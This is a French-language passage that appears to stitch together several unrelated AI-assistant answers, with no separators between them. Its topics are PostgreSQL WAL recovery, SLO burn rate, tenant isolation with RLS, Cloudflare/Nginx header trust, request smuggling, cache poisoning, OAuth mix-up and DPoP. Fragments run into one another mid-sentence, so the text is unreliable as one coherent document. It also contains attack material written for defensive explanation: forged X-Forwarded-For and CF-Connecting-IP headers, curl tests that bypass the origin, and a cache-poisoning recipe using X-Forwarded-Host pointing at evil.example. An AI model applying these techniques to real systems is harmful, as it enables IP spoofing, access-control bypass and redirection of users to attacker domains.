fait de piloter la progression de la résolution et de garder à jour ceux qui sont affectés par l'incident (article « Gestion des incidents », Wikipédia FR). Le même article distingue la restauration du service, prioritaire, de la recherche des causes racines, qui relève de la gestion des problèmes et intervient après : c'est précisément ce qui justifie l'absence de cause dans une communication initiale. Précision d'honnêteté : la liste ci-dessus est une **recommandation de pratique professionnelle** structurée à partir de cette exigence de communication ITIL. Je ne dispose pas, dans mes sources hors ligne, d'un texte normatif qui énumère littéralement ces quatre rubriques comme obligatoires ; le caractère « obligatoire » relève de vos engagements contractuels propres (SLA) ou réglementaires, à vérifier dans votre référentiel interne. ## À exclure explicitement du message initial - Toute hypothèse de cause (« problème de base de données », « pic de charge », « erreur de configuration ») tant que l'analyse n'est pas close. - Toute qualification sécurité non établie : ne pas écrire « aucune donnée n'a été compromise » si l'analyse d'intégrité et de confidentialité n'est pas terminée ; distinguer disponibilité constatée (le service était indisponible) de confidentialité et d'intégrité (non encore statuées). - Toute désignation d'un tiers, prestataire ou personne. - Toute promesse de non-récurrence. ## Point d'attention réglementaire Si l'analyse ultérieure établissait une compromission de données personnelles, un régime de notification distinct s'applique et n'est pas couvert par cette communication de disponibilité. Ce point mérite une vérification juridique dédiée ; je ne fournis pas ici d'avis juridique.
## 1. Diagnostic
Chaîne de sauvegarde décrite : un **base backup** à 00:00, plus un **archivage WAL continu** jusqu'à 11:52, avec **un segment absent à 08:10**. Panne à 12:00. C'est une architecture de type PostgreSQL, où les WAL (*Write-Ahead Logs*, journaux de reprise anticipée) sont les enregistrements de modifications rejoués après restauration du backup de base (article Wikipédia FR « PostgreSQL », section Stockage et réplication, qui définit les WAL comme journaux de reprise anticipée).
Point technique déterminant, à énoncer comme principe et non comme citation d'article : le rejeu WAL est **strictement séquentiel et contigu**. La récupération applique les enregistrements dans l'ordre des LSN et **s'arrête au premier trou**. Un segment manquant n'est pas « sautable » : les segments 08:10 → 11:52 deviennent inexploitables même s'ils sont physiquement présents et intacts. Je signale que ce mécanisme relève de la documentation officielle PostgreSQL (continuous archiving / PITR), que je n'ai pas pu ouvrir dans l'encyclopédie locale, l'article disponible ne traitant pas le PITR en détail. Traitez donc ce point comme un fait d'ingénierie standard, non comme une citation sourcée ici.
## 2. Dernier point garanti
**Le dernier enregistrement validé (commit) contenu dans le dernier segment WAL complet précédant la lacune, soit un instant $t^\star \lesssim$ 08:10.**
Précisions de rigueur :
- Ce n'est pas exactement 08:10, mais la **borne supérieure** de la fenêtre rejouable. La valeur exacte est le LSN de fin du dernier segment archivé avant le trou, donc $t^\star \le$ 08:10.
- La cohérence transactionnelle est atteinte à condition que la totalité des WAL couvrant l'intervalle backup (00:00) → *minimum recovery point* soit présente. L'énoncé indiquant une continuité de 00:00 à 08:10, cette condition est **satisfaite** : le backup est exploitable et la base sera cohérente à $t^\star$.
- Toute cible `recovery_target_time` postérieure à $t^\star$ est **irréalisable** : la restauration s'arrêtera d'elle-même à la lacune.
## 3. RPO effectif maximal
Données : panne $T_p =$ 12:00, dernier point rejouable $t^\star \approx$ 08:10.
$$\text{RPO}_{\text{effectif}} = T_p - t^\star = 12{:}00 - 08{:}10 = \mathbf{3\ \text{h}\ 50\ \text{min}}$$
À comparer avec le RPO nominal que la chaîne aurait dû offrir :
$$\text{RPO}_{\text{nominal}} = 12{:}00 - 11{:}52 = 8\ \text{min}$$
| Grandeur | Valeur | Commentaire |
|---|---|---|
| Dernier point garanti | $\lesssim$ 08:10 | fin du dernier WAL contigu |
| RPO effectif max | **3 h 50** | perte réelle de données validées |
| RPO nominal attendu | 8 min | si la chaîne WAL était intacte |
| Dégradation | facteur $\approx 28{,}75$ | $230/8$ |
| Fenêtre WAL rendue inutile | 08:10 → 11:52 ($\approx$ 3 h 42) | segments présents mais inexploitables |
Le RPO effectif est donc **28,75 fois pire** que le RPO annoncé par la politique de sauvegarde. C'est une valeur maximale : la perte réelle peut être marginalement inférieure si $t^\star$ est très proche de 08:10, jamais supérieure (sauf défaut additionnel non signalé dans l'énoncé, par exemple un base backup lui-même corrompu).
## 4. Obstacle
**L'obstacle est la rupture de contiguïté de la chaîne WAL au segment de 08:10, et non un volume de données perdu ni une corruption.**
Caractérisation précise :
1. **Nature** : lacune (*gap*) dans une séquence dont le rejeu exige la contiguïté. Un seul segment manquant invalide **tout l'aval**, indépendamment de sa taille (16 Mio par défaut).
2. **Effet en cascade** : 3 h 42 d'archives saines sont neutralisées par 16 Mio absents. C'est le point douloureux : le dommage est très disproportionné par rapport à la cause.
3. **Défaillance de surveillance sous-jacente** : la chaîne a continué d'archiver pendant 3 h 42 après le trou sans que l'incident soit détecté. L'archivage « paraissait » sain (flux continu jusqu'à 11:52). C'est un défaut de **vérification d'intégrité de séquence**, distinct d'un défaut d'archivage. Une supervision qui ne contrôle que « le dernier WAL est-il récent ? » ne détecte pas ce cas.
4. **Cause racine inconnue** : je ne peux pas la déterminer avec les seules données fournies. Hypothèses plausibles à instruire, sans les présenter comme établies : échec silencieux de `archive_command` avec code de retour incorrect, purge trop agressive de la rétention, écriture partielle sur le stockage d'archives, ou suppression manuelle.
## 5. Verdict PITR
**PITR partiellement réalisable : restauration possible et cohérente jusqu'à $t^\star \lesssim$ 08:10 seulement. PITR impossible au-delà, donc objectif de RPO non tenu, avec 3 h 50 de données validées perdues en l'état.**
Décomposition du verdict :
| Cible de restauration | Verdict | Justification |
|---|---|---|
| 00:00 (backup seul) | Réalisable | base backup intègre supposé |
| 00:00 → $t^\star$ ($\lesssim$ 08:10) | **Réalisable, base cohérente** | WAL contigus |
| 08:10 → 11:52 | **Impossible** | lacune amont bloquante |
| 11:52 → 12:00 | Impossible en tout état | jamais archivé, hors RPO nominal |
Le verdict devient **PITR pleinement réalisable jusqu'à 11:52 (RPO 8 min)** si, et seulement si, le segment manquant est retrouvé et validé. C'est la seule voie de sortie, et elle doit être tentée **avant** toute restauration définitive.
## 6. Actions, dans cet ordre
**Phase A, préservation avant toute manipulation.** Priorité absolue, car les WAL 08:10 → 11:52 redeviennent précieux si le segment est retrouvé.
1. **Geler la rétention** et désactiver toute purge automatique sur le dépôt d'archives.
2. **Copier en lecture seule** l'intégralité des archives et le base backup vers un emplacement isolé. Ne travaillez jamais sur les originaux.
3. Si le serveur primaire est encore accessible en lecture, même partiellement, **copier immédiatement `pg_wal/`** : le segment manquant à l'archive peut y résider encore.
4. Ne lancer **aucune** opération destructive : pas de réinitialisation de journal, pas de `pg_resetwal`, qui détruirait toute possibilité de PITR propre et produirait une base d'intégrité indéterminée.
**Phase B, chasse au segment manquant.** Sources à interroger, par probabilité décroissante :
- `pg_wal/` du primaire (le segment peut ne pas avoir été recyclé) ;
- `pg_wal/` ou archives locales d'un éventuel réplica ou serveur standby (la réplication en flux transmet les mêmes WAL, cf. article Wikipédia FR « PostgreSQL », section Réplication) ;
- destination d'archivage secondaire, si l'architecture en comporte une ;
- sauvegardes ou instantanés du volume d'archives lui-même, antérieurs à la purge ;
- slot de réplication ayant retenu le segment.
**Phase C, restauration.** Deux branches, à décider selon le résultat de la phase B :
- *Segment retrouvé et validé* : restauration complète jusqu'à 11:52. Validez d'abord le segment (`pg_waldump` sur le fichier, contrôle du chaînage LSN avec les segments voisins) avant de l'insérer dans la chaîne.
- *Segment définitivement perdu* : restauration sur une **instance de reprise distincte**, cible temporelle explicite $t^\star$, mode `pause` en fin de recovery pour inspection avant promotion. Puis arbitrage métier sur les 3 h 50 manquantes : reconstruction depuis des sources amont (files de messages, journaux applicatifs, systèmes tiers, exports), à évaluer table par table.
**Phase D, correction structurelle.** Sans elle, l'incident se reproduira :
- contrôle **périodique de contiguïté de la séquence WAL** (détection de trou par comparaison des noms de segments attendus et présents), pas seulement de fraîcheur du dernier segment ;
- alerte bloquante sur tout échec d'archivage, avec vérification du code de retour de la commande d'archivage ;
- **restauration de test automatisée et récurrente**, seule preuve réelle qu'une sauvegarde est exploitable ;
- rétention d'archives couvrant au moins deux cycles de base backup complets ;
- base backup plus fréquent, pour réduire la fenêtre exposée à une lacune unique.
## 7. Vérification
Calcul des durées, exécuté :
```
T_panne - t_lacune = 12:00 - 08:10 = 3:50:00
T_panne - T_dernier_WAL = 12:00 - 11:52 = 0:08:00
t_lacune - T_backup = 08:10 - 00:00 = 8:10:00
```
Sortie obtenue : `3:50:00`, `0:08:00`, `8:10:00`. Cohérence de bilan : $8\ \text{h}\ 10 + 3\ \text{h}\ 50 = 12\ \text{h}$, la ligne de temps est complète, sans recouvrement ni manque.
Contrôles à exécuter, sans lesquels le verdict reste provisoire :
- intégrité du base backup de 00:00 (somme de contrôle du manifeste, vérification de la sauvegarde) ;
- inventaire nominal des segments 00:00 → 08:10, pour confirmer qu'**aucune autre** lacune n'existe en amont, ce qui abaisserait encore $t^\star$ ;
- lecture des enregistrements du dernier segment présent pour établir la valeur exacte de $t^\star$ ;
- confirmation que la lacune est bien un segment unique et non un intervalle.
## 8. Risques et limites
- **Aucune opération n'est sans risque.** La restauration elle-même peut échouer si le base backup est corrompu, hypothèse non exclue par l'énoncé, ni vérifiable ici.
- **$t^\star$ n'est pas garanti égal à 08:10.** Si des lacunes supplémentaires existent en amont, le dernier point garanti est plus ancien et le RPO effectif supérieur à 3 h 50.
- **Non-vérifiabilité de fond** : je n'ai accès ni à vos archives, ni à vos journaux, ni à votre configuration. Tous les chiffres ci-dessus découlent exclusivement de l'énoncé fourni. Les valeurs 3 h 50 et 8 min sont des conséquences arithmétiques certaines des données données, pas des mesures faites sur votre système.
- **Un rejeu qui se termine sans erreur ne prouve pas la conformité fonctionnelle des données.** Faites valider l'état restauré par le métier avant bascule en production.
- **Cohérence applicative** : même à $t^\star$, la base est transactionnellement cohérente mais peut être désynchronisée d'avec des systèmes externes (paiements, files, tiers) qui, eux, ont continué jusqu'à 12:00. Ce risque de divergence inter-systèmes est distinct du RPO et souvent le plus coûteux.
- **Limite documentaire** : l'article encyclopédique local consulté atteste les WAL et la réplication, mais pas le détail du mécanisme PITR. La règle de contiguïté du rejeu, centrale dans ce diagnostic, relève de la documentation officielle PostgreSQL, que je n'ai pas pu ouvrir ici. Je la présente comme un fait d'ingénierie standard, à confirmer sur la documentation de votre version exacte.- **Taux d’erreur autorisé** : $100\,\%-99{,}9\,\%=0{,}1\,\%$
- **Taux d’erreur observé** : $100\,\%-99{,}0\,\%=1{,}0\,\%$
- **Burn rate** : $\dfrac{1{,}0\,\%}{0{,}1\,\%}=10$
**Interprétation :** les erreurs consomment le budget d’erreur **10 fois plus vite** que le rythme compatible avec le SLO. Si ce taux se maintient avec un trafic comparable, le budget total sera consommé en environ un dixième de la période du SLO. La durée exacte ne peut pas être déterminée sans connaître cette période et le volume de trafic.1. Absence de revue ou d’approbation obligatoire avant exécution. 2. Absence de dry-run ou de validation préalable imposée par l’outil. 3. Attribution de droits globaux, en violation du principe de moindre privilège. 4. Absence de garde-fous techniques limitant ou bloquant les commandes dangereuses et leur rayon d’impact.
## Diagnostic de la chaîne
La requête traverse quatre frontières de confiance distinctes, chacune vérifiant une propriété différente. Le point décisif est que les trois premières frontières valident **l'acheminement et l'identité**, alors que la quatrième valide **l'autorisation sur la donnée**. Une identité valide n'implique jamais un droit d'accès sur une ligne donnée.
## Les quatre verdicts de frontière
| # | Frontière | Propriété vérifiée | Verdict | Portée du verdict |
|---|-----------|--------------------|---------|-------------------|
| 1 | Cloudflare (bord réseau, WAF, TLS) | Réputation, règles WAF, limitation de débit, terminaison TLS | **ALLOW**, transmission à l'origine | Ne prouve ni l'identité de l'appelant ni son droit sur les données |
| 2 | Nginx (proxy inverse) | Correspondance de l'en-tête `Host` avec `server_name`, routage amont | **ALLOW**, `proxy_pass` vers l'application | Valide la cible, pas l'autorisation |
| 3 | Application (session) | **Authentification** : session valide, non expirée, sujet identifié | **AUTHENTIFIÉ**, principal établi | Établit *qui*, pas *sur quoi* |
| 4 | PostgreSQL RLS (politique de ligne) | **Autorisation de données** : appartenance au tenant | **DENY**, périmètre tenant non satisfait | Verdict d'autorité finale sur la donnée |
Point de doctrine : les verdicts 1 à 3 sont **non cumulatifs** en matière d'autorisation. Trois ALLOW ne compensent pas un DENY à la frontière 4, car les propriétés vérifiées ne sont pas de même nature. La chaîne est conjonctive : l'accès n'est accordé que si toutes les frontières concordent.
## Résultat HTTP final
**403 Forbidden.**
Justification normative : le code 403 signifie que « le serveur a compris la requête, mais refuse de l'exécuter. Contrairement à l'erreur 401, s'authentifier ne fera aucune différence » (article *Liste des codes HTTP*, encyclopédie locale, code 403, RFC 1945). C'est exactement la situation : la session est valide, une nouvelle authentification ne changerait rien, seul le périmètre tenant fait défaut.
Codes à écarter, et pourquoi :
- **401 Unauthorized** : incorrect. Ce code signifie qu'« une authentification est nécessaire pour accéder à la ressource » (même source). Or l'authentification a réussi à la frontière 3. Renvoyer 401 provoquerait une boucle de reconnexion inutile côté client.
- **500 Internal Server Error** : incorrect en tant que réponse *souhaitée*, mais c'est le résultat **réellement observé** si le refus RLS remonte sous forme d'exception SQL non interceptée. C'est un défaut d'implémentation à corriger, pas un verdict légitime.
- **404 Not Found** : variante défendable, voir ci-dessous.
## Nuance opérationnelle indispensable
« PostgreSQL RLS refuse le tenant » recouvre en réalité deux comportements techniquement distincts, qui ne produisent pas la même réponse par défaut. Ceci relève de la connaissance générale de PostgreSQL et non d'une source encyclopédique que j'aie pu vérifier ici :
1. **Lecture (SELECT)** : une politique `USING` non satisfaite ne lève pas d'erreur, elle **filtre silencieusement** les lignes. La requête retourne 0 ligne. L'application doit donc traduire elle-même ce vide en 403 ou 404. Sans traduction explicite, elle risque de renvoyer 200 avec une collection vide, ce qui masque le refus.
2. **Écriture (INSERT/UPDATE)** : une clause `WITH CHECK` violée lève une erreur explicite. Non interceptée, elle devient un 500 et peut faire fuiter le message SQL.
Choix recommandé selon le modèle de menace :
- **403** quand l'existence de la ressource n'est pas un secret (même organisation, cloisonnement interne).
- **404** quand l'URL contient un identifiant devinable et que révéler l'existence d'un objet appartenant à un autre tenant constitue une fuite exploitable, énumération et IDOR. Le 404 est alors le choix le plus prudent.
Ne renvoyez jamais le message d'erreur PostgreSQL au client, il révèle le nom des tables, des politiques et la structure du cloisonnement.
## Actions concrètes
Traduisez le refus en verdict HTTP au niveau du gestionnaire d'erreurs, jamais au cas par cas dans les contrôleurs.
**Exemple, FastAPI et psycopg, code raisonné mais non exécuté ici :**
```python
from fastapi import FastAPI, HTTPException, Request
from fastapi.responses import JSONResponse
import logging
import psycopg
from psycopg import errors as pg_errors
app = FastAPI()
logger = logging.getLogger("lanxas.authz")
# SQLSTATE 42501 = insufficient_privilege, levé notamment
# lors d'une violation de politique RLS en écriture.
RLS_SQLSTATE = "42501"
@app.exception_handler(psycopg.Error)
async def pg_error_handler(request: Request, exc: psycopg.Error) -> JSONResponse:
sqlstate = getattr(exc, "sqlstate", None)
if sqlstate == RLS_SQLSTATE or isinstance(exc, pg_errors.InsufficientPrivilege):
# Journalisation interne : identifiants techniques uniquement,
# aucun secret, aucun jeton, aucune donnee personnelle.
logger.warning(
"rls_deny path=%s tenant_ctx=%s subject_id=%s",
request.url.path,
request.state.tenant_id,
request.state.subject_id,
)
return JSONResponse(status_code=403, content={"error": "forbidden"})
logger.error("db_error path=%s sqlstate=%s", request.url.path, sqlstate)
return JSONResponse(status_code=500, content={"error": "internal_error"})
```
**Traduction du filtrage silencieux en lecture :**
```python
def get_resource_or_deny(cur, resource_id: str, *, hide_existence: bool):
# Requete PARAMETREE, jamais de concatenation.
cur.execute(
"SELECT id, payload FROM resources WHERE id = %s",
(resource_id,),
)
row = cur.fetchone()
if row is None:
# RLS a filtre, ou la ressource n'existe pas.
# Les deux cas sont indiscernables ici, c'est voulu.
raise HTTPException(status_code=404 if hide_existence else 403)
return row
```
**Propagation du contexte tenant, à faire par paramètre lié et non par interpolation :**
```python
def set_tenant_context(cur, tenant_id: str) -> None:
# set_config avec parametre lie : pas d'injection possible.
# Troisieme argument true => portee transaction locale.
cur.execute("SELECT set_config('app.tenant_id', %s, true)", (tenant_id,))
```
La politique côté base doit lire ce paramètre, et le rôle applicatif ne doit surtout pas posséder `BYPASSRLS` ni être propriétaire des tables, sinon RLS est court-circuité.
## Vérification
Tests à écrire, avec assertions réelles, pas de branche `pass` :
1. Session valide, tenant correct, lecture : attendu 200.
2. Session valide, tenant étranger, lecture : attendu 403 ou 404 selon la politique retenue, et **jamais** 200 avec collection vide.
3. Session valide, tenant étranger, écriture : attendu 403, et le corps de réponse ne doit contenir aucun fragment de message PostgreSQL.
4. Absence de session : attendu 401, ce qui confirme que 401 et 403 ne sont pas confondus.
5. Rôle applicatif : vérifier par requête sur `pg_roles` que `rolbypassrls` est faux et que le rôle n'est pas propriétaire des tables protégées.
6. Test de non-contournement : exécuter la même requête sans appeler `set_tenant_context` et vérifier que le résultat est vide, donc que le défaut est fermé et non ouvert.
Ces tests portent sur un nombre fini de cas. Ils ne démontrent pas l'absence universelle de fuite inter-tenant ; seule une revue de l'ensemble des politiques, doublée d'un invariant vérifié sur chaque table sensible, approche cette garantie.
## Risques et limites
- **Fuite par canal auxiliaire** : même avec un 403 ou un 404 uniforme, un écart de temps de réponse ou un message d'erreur différencié peut révéler l'existence d'une ressource. Uniformisez corps et code de réponse.
- **Contournement de RLS** : `BYPASSRLS`, propriété des tables, ou `SECURITY DEFINER` mal maîtrisé annulent la protection. Appliquez le moindre privilège, séparez strictement le rôle de migration du rôle d'exécution.
- **Contexte non réinitialisé** : avec un pool de connexions, un `set_config` sans portée locale peut fuiter d'une requête à la suivante. Utilisez la portée transaction, troisième argument à `true`.
- **RLS seul est insuffisant** : conservez une vérification d'autorisation applicative côté serveur en amont. La défense en profondeur suppose deux barrières indépendantes, non une seule.
- **Ce que je ne peux pas vérifier ici** : je n'ai lu ni votre configuration Nginx, ni vos politiques RLS, ni vos journaux. Les verdicts ci-dessus décrivent le scénario tel que vous l'énoncez ; la conformité de votre déploiement réel reste à établir par les tests 1 à 6.## 1. Valeur forgée
**`X-Forwarded-For: 10.0.0.1`**, élément fourni par le client final.
Après concaténation par Nginx (directive `$proxy_add_x_forwarded_for`, qui vaut `$http_x_forwarded_for` puis `", "` puis `$remote_addr`), l'en-tête transmis à l'application devient une chaîne dont **l'élément le plus à gauche reste `10.0.0.1`**, donc entièrement contrôlé par l'attaquant :
```
X-Forwarded-For: 10.0.0.1, <IP du edge Cloudflare>
```
Toute application qui lit « le premier élément de XFF » comme IP client lit donc `10.0.0.1`. C'est le vecteur classique de contournement de rate limiting, d'allow-list par IP, de géo-restriction et de faux journaux d'audit.
Réserve d'honnêteté : selon ma connaissance du comportement de Cloudflare, le edge propage l'`X-Forwarded-For` reçu et y ajoute l'IP client réelle, ce qui donnerait `10.0.0.1, 198.51.100.4` en entrée de Nginx, puis `10.0.0.1, 198.51.100.4, <edge>` en sortie. Je ne peux pas vérifier ce détail avec mes sources hors ligne : à confirmer sur la documentation officielle Cloudflare, ou par un test avec un endpoint qui renvoie les en-têtes bruts. Dans les deux variantes, la conclusion est identique : **la position de gauche est non fiable**.
## 2. Valeur autoritative
**`CF-Connecting-IP: 198.51.100.4`**, sous une condition stricte et non facultative :
- la connexion TCP/TLS entrante provient réellement d'une adresse appartenant aux plages publiées par Cloudflare, et
- Cloudflare **écrase** cet en-tête au lieu de le refléter, ce qui est le principe même d'un en-tête propriétaire de proxy.
Hors de cette condition, `CF-Connecting-IP` n'est qu'un en-tête HTTP comme un autre, donc forgeable par quiconque atteint l'origine en direct. C'est un fait de conception du protocole : HTTP n'authentifie aucun en-tête.
Autrement dit, `198.51.100.4` est autoritatif **par attestation du dernier saut de confiance**, pas par contenu.
## 3. Opération Nginx correcte
L'opération est **écraser (set), jamais ajouter (append)**. Deux formulations équivalentes, la seconde étant préférable.
Variante minimale, remplacement direct :
```nginx
# INTERDIT ici : proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-For $http_cf_connecting_ip;
proxy_set_header X-Real-IP $http_cf_connecting_ip;
```
Variante recommandée, avec `ngx_http_realip_module` et fermeture par défaut :
```nginx
# --- Plages Cloudflare : à récupérer sur la liste officielle Cloudflare
# et à mettre à jour automatiquement. Je ne les cite pas de mémoire.
include /etc/nginx/cloudflare-ips.conf; # suite de "set_real_ip_from <cidr>;"
real_ip_header CF-Connecting-IP;
real_ip_recursive off; # inutile et risqué avec un en-tête à valeur unique
server {
listen 443 ssl;
http2 on;
# mTLS Cloudflare (Authenticated Origin Pulls) : l'origine n'accepte
# que des connexions présentant le certificat client Cloudflare.
ssl_client_certificate /etc/nginx/cloudflare-origin-pull-ca.pem;
ssl_verify_client on;
location / {
proxy_pass http://app_upstream;
# $remote_addr a été remplacé par realip -> IP client attestée.
# $realip_remote_addr conserve l'IP du edge Cloudflare.
proxy_set_header X-Forwarded-For $remote_addr; # SET, pas append
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header Host $host;
# Neutralisation explicite des en-têtes clients parasites
proxy_set_header CF-Connecting-IP "";
proxy_set_header Forwarded "";
}
}
```
Points de conception, conformes au principe de fail closed :
- `real_ip_recursive off` : avec un en-tête à valeur unique, la récursion n'apporte rien et ouvre une surface d'analyse inutile.
- `ssl_verify_client on` : sans mTLS, l'écrasement ne protège pas, puisqu'un attaquant atteignant l'IP d'origine forge lui-même `CF-Connecting-IP`. C'est la faille la plus fréquente de ce montage.
- Côté application, ne jamais parser XFF : lire une seule valeur scalaire, déjà normalisée par le proxy.
## 4. Frontière de confiance
La frontière est **le pair TCP, c'est-à-dire `$realip_remote_addr` (l'IP du edge Cloudflare qui ouvre la connexion), et non le contenu d'un en-tête**.
Formulation opérationnelle :
| Élément | Statut | Fondement |
|---|---|---|
| `$realip_remote_addr` (peer TCP) | Fiable | Constaté par la pile réseau, non falsifiable à distance sans usurpation de routage |
| Certificat client mTLS Cloudflare | Fiable | Authentification cryptographique du saut amont |
| `CF-Connecting-IP` | Fiable **si et seulement si** le peer est Cloudflare autorisé | Attestation par un saut de confiance authentifié |
| `X-Forwarded-For` reçu | **Non fiable** | Ajoutable par tout client |
| Tout élément à gauche du dernier saut de confiance | **Non fiable** | Aucun mécanisme d'authentification d'en-tête en HTTP |
Règle générale : dans une chaîne de proxys, seule est exploitable la portion de droite ajoutée par des sauts que vous authentifiez, parcourue de droite à gauche et arrêtée dès le premier saut non contrôlé. Prendre l'élément le plus à gauche est un anti-pattern.
## Vérification à exécuter
1. Test de forge côté client, via Cloudflare :
```bash
curl -s https://votre-domaine.example/_debug/headers \
-H 'X-Forwarded-For: 10.0.0.1' -H 'CF-Connecting-IP: 10.0.0.2'
```
Attendu : l'application voit une IP unique, celle du client réel, sans `10.0.0.1` ni `10.0.0.2`.
2. Test de contournement direct de l'origine, depuis une IP hors Cloudflare :
```bash
curl -sk --resolve votre-domaine.example:443:<IP_ORIGINE> \
https://votre-domaine.example/ -H 'CF-Connecting-IP: 203.0.113.9'
```
Attendu avec mTLS actif : échec de la poignée de main TLS (certificat client requis). Si la requête aboutit, la protection est nulle, quelle que soit la configuration d'en-têtes.
3. Contrôle de journalisation : `log_format` doit tracer **à la fois** l'IP client attestée et `$realip_remote_addr`, afin de pouvoir détecter a posteriori une requête arrivée hors Cloudflare.
## Risques résiduels
Aucune de ces mesures ne rend le montage « sûr » de façon absolue. Restent :
- **Exposition de l'IP d'origine** : historique DNS, certificats, en-têtes de mail sortant, erreurs applicatives. Le mTLS est la contre-mesure, pas le secret de l'IP.
- **Dérive de la liste de plages Cloudflare** : une liste figée provoque soit un blocage légitime, soit, si vous ajoutez des plages « au cas où », un élargissement dangereux de la frontière de confiance. Automatisez la mise à jour et rechargez Nginx.
- **Compromission ou erreur du saut amont** : la confiance est déléguée ; vous héritez de ses défauts.
- **Application qui parse encore XFF** : si un composant interne réintroduit une lecture de l'élément de gauche, la vulnérabilité revient. À vérifier dans le code, pas seulement dans Nginx.
- **Usurpation d'IP source avec réponse non nécessaire** : marginale sous TLS, mais non nulle sur des chemins UDP ou des journaux purement informatifs.
Je n'ai exécuté aucune de ces commandes ni lu votre configuration : les blocs ci-dessus sont une proposition raisonnée, à valider dans votre environnement avec un point de restauration de la configuration avant rechargement (`nginx -t` puis `nginx -s reload`, avec sauvegarde préalable de `/etc/nginx`).- **Variante de smuggling :** **TE.CL**, car le frontal délimite le corps avec `Transfer-Encoding: chunked`, tandis que l’amont utilise `Content-Length` (PortSwigger Web Security Academy, « HTTP request smuggling », https://portswigger.net/web-security/request-smuggling). - **Désaccord :** le frontal considère la fin du corps au chunk terminal de taille `0`, alors que l’amont la place après exactement `4` octets. Les octets restants peuvent alors être interprétés par l’amont comme le début d’une requête suivante, selon leur contenu exact (RFC 9112, §§ 6.1, 6.3 et 11.2, https://www.rfc-editor.org/rfc/rfc9112). - **Décision à la frontière :** rejeter la requête dès l’entrée, fermer la connexion et ne rien transmettre à l’amont. Une requête contenant simultanément `Transfer-Encoding` et `Content-Length` doit être traitée comme une erreur en raison du risque de request smuggling (RFC 9112, § 6.3, règle 3). - **Invariant de parsing :** tous les sauts HTTP doivent appliquer une unique règle de cadrage et déterminer exactement la même frontière de message. Aucun message ambigu ne doit atteindre l’amont, et aucun octet résiduel ne doit pouvoir changer de rôle pour devenir le préfixe d’une nouvelle requête (RFC 9112, §§ 6.3 et 11.2).
1. **Attaque, empoisonnement du cache par entrée non incluse dans la clé** : l’attaquant demande une URL cacheable en envoyant `X-Forwarded-Host: evil.example`. L’origine génère alors une redirection à partir de cette valeur, tandis que le CDN enregistre la réponse sous une clé ne distinguant pas cet en-tête. Les requêtes ultérieures correspondant à la même clé peuvent recevoir la réponse injectée par l’attaquant. (PortSwigger Web Security Academy, « Web cache poisoning » : https://portswigger.net/web-security/web-cache-poisoning) 2. **Donnée non clé** : `X-Forwarded-Host: evil.example`. Cet en-tête influence la réponse de l’origine mais n’est pas pris en compte dans la clé de cache du CDN. (PortSwigger Web Security Academy, « Web cache poisoning », section sur les entrées non incluses dans la clé : https://portswigger.net/web-security/web-cache-poisoning) 3. **Objet empoisonné** : une réponse de redirection mise en cache, par exemple : ```http HTTP/1.1 302 Found Location: https://evil.example/... ``` Les clients recevant cet objet peuvent être redirigés vers le domaine contrôlé par l’attaquant. (RFC 9110, section 10.2.2, champ `Location` : https://www.rfc-editor.org/rfc/rfc9110.html#section-10.2.2) 4. **Correction recommandée** : - supprimer à la périphérie tout `X-Forwarded-Host` fourni par le client, puis définir cet en-tête uniquement depuis une valeur déterminée par un proxy de confiance ; les champs de transfert reçus de sources non fiables ne doivent pas être considérés comme fiables. (OWASP, « HTTP Headers Cheat Sheet », en-têtes `X-Forwarded-*` : https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Headers_Cheat_Sheet.html) - construire les redirections avec un hôte canonique configuré côté serveur, ou n’accepter qu’une liste blanche stricte d’hôtes attendus, plutôt qu’une valeur libre issue de la requête. (OWASP, « Unvalidated Redirects and Forwards Cheat Sheet » : https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html) - si la réponse doit réellement varier selon l’hôte transmis, inclure cette dimension normalisée dans la clé de cache et refuser les hôtes non autorisés ; toute entrée influençant une réponse cacheable doit être correctement intégrée au comportement du cache. (PortSwigger Web Security Academy, « Web cache poisoning » : https://portswigger.net/web-security/web-cache-poisoning) - à défaut de pouvoir garantir cette cohérence, empêcher la mise en cache de la redirection avec `Cache-Control: no-store`, puis purger les objets déjà contaminés ; `no-store` impose au cache de ne pas stocker la réponse. (RFC 9111, section 5.2.2.5 : https://www.rfc-editor.org/rfc/rfc9111.html#section-5.2.2.5)
**Attaque :** **Authorization Server Mix-Up (AS Mix-Up)**, ou confusion de serveur d’autorisation. 1. **Session ↔ `state` ↔ issuer choisi** : à l’initiation, stocker A dans la session associée à un `state` unique et vérifier ce `state` au callback. 2. **Réponse d’autorisation ↔ issuer attendu** : vérifier que l’`iss` du callback vaut A, ou utiliser un `redirect_uri` distinct par fournisseur ; refuser toute absence ou divergence. 3. **Code/jetons ↔ même issuer et même transaction** : échanger le code uniquement au `token_endpoint` de A avec les identifiants de A et le `code_verifier` PKCE de la session ; en OIDC, valider notamment `iss`, `aud` et `nonce` de l’ID token.
## Diagnostic
La validation DPoP est une **conjonction** de contrôles indépendants : liaison de clé, méthode, URI, anti-rejeu. Un seul échec suffit à invalider la requête (spécification DPoP, RFC 9449, section 4.3 ; référence citée de mémoire, mon encyclopédie locale ne contient pas d'article sur DPoP, je ne peux donc pas la vérifier ici).
## Les quatre verdicts
| Contrôle | Élément comparé | Verdict |
|---|---|---|
| **Thumbprint (liaison de clé)** | `cnf.jkt = J1` du token contre le thumbprint de la clé publique du JWK d'en-tête de la preuve = `J2` | **ÉCHEC** |
| **Méthode (`htm`)** | `htm` contre le verbe HTTP réel de la requête | **CONFORME** (selon l'énoncé) |
| **URI / rejeu (`htu`, `jti`)** | `htu` contre l'URL réelle ; `jti` contre le cache des identifiants déjà vus | **CONFORME** (selon l'énoncé) |
| **Global** | Conjonction des trois précédents | **REJET** |
## Justification du verdict global
$$\text{Valide} = (\mathrm{jkt}_{token} = \mathrm{jkt}(\mathrm{JWK}_{preuve})) \land \mathrm{htm}_{ok} \land \mathrm{htu}_{ok} \land \mathrm{jti}_{neuf}$$
Avec $J1 \neq J2$, le premier facteur est faux, donc la conjonction est fausse indépendamment des trois autres. Réponse attendue du serveur de ressources : **HTTP 401** avec `WWW-Authenticate: DPoP error="invalid_dpop_proof"` (RFC 9449, section 7.1 ; citation de mémoire, non vérifiable avec mes outils locaux).
